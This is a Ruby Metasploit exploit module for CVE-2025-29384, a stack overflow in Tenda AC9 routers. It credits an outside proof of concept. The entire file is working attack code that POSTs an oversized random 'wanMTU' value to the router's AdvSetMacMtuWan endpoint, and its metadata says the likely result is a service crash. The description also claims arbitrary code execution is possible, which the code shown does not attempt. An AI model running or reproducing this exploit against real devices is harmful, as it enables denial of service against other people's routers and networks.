## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Tenda AC9 Stack Overflow Exploit', 'Description' => %q{ This module exploits a stack overflow vulnerability in Tenda AC9 routers via the AdvSetMacMtuWan endpoint. By sending an oversized payload, an attacker can cause a denial of service or potentially execute arbitrary code on the target device. Original Proof-of-Concept (PoC) by Otsmane Ahmed: https://github.com/Otsmane-Ahmed/cve-2025-29384-poc/blob/main/poc.py }, 'Author' => [ 'Otsmane Ahmed', # Original PoC author 'Otsmane Ahmed' # Metasploit module author ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-29384'], ['URL', 'https://github.com/Otsmane-Ahmed/cve-2025-29384-poc'] ], 'DisclosureDate' => '2025-03-18', 'Platform' => 'linux', 'Arch' => [ARCH_CMD], 'Targets' => [['Automatic', {}]], 'DefaultOptions' => { 'RPORT' => 80 }, 'Notes' => { 'Stability' => [CRASH_SERVICE], # Assumed to crash the service 'Reliability' => [UNRELIABLE_SESSION], # Assumed to be less reliable 'SideEffects' => [IOC_IN_LOGS] # Likely leaves traces in logs } ) ) register_options([ OptString.new('TARGETURI', [true, 'The base path', '/']), OptInt.new('PAYLOAD_SIZE', [true, 'Size of the payload', 1024]) ]) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, 'Enable debug output for exploit development', false]) ]) end # Generate a randomized payload for obfuscation def generate_payload(size) rand_text_alpha(size).to_s end # Main exploit logic def exploit print_status("Targeting Tenda AC9 at #{datastore['RHOST']}:#{datastore['RPORT']}...") payload_size = datastore['PAYLOAD_SIZE'] payload = generate_payload(payload_size) print_status("Sending payload of size #{payload_size}...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'goform', 'AdvSetMacMtuWan'), 'vars_post' => { 'wanMTU' => payload } }) if res && res.code == 200 print_good("Payload sent successfully!") print_status("Response: #{res.body[0..50]}...") # Print truncated response else print_error("Failed to send payload.") print_error("Response Status: #{res ? res.code : 'No response'}") end end end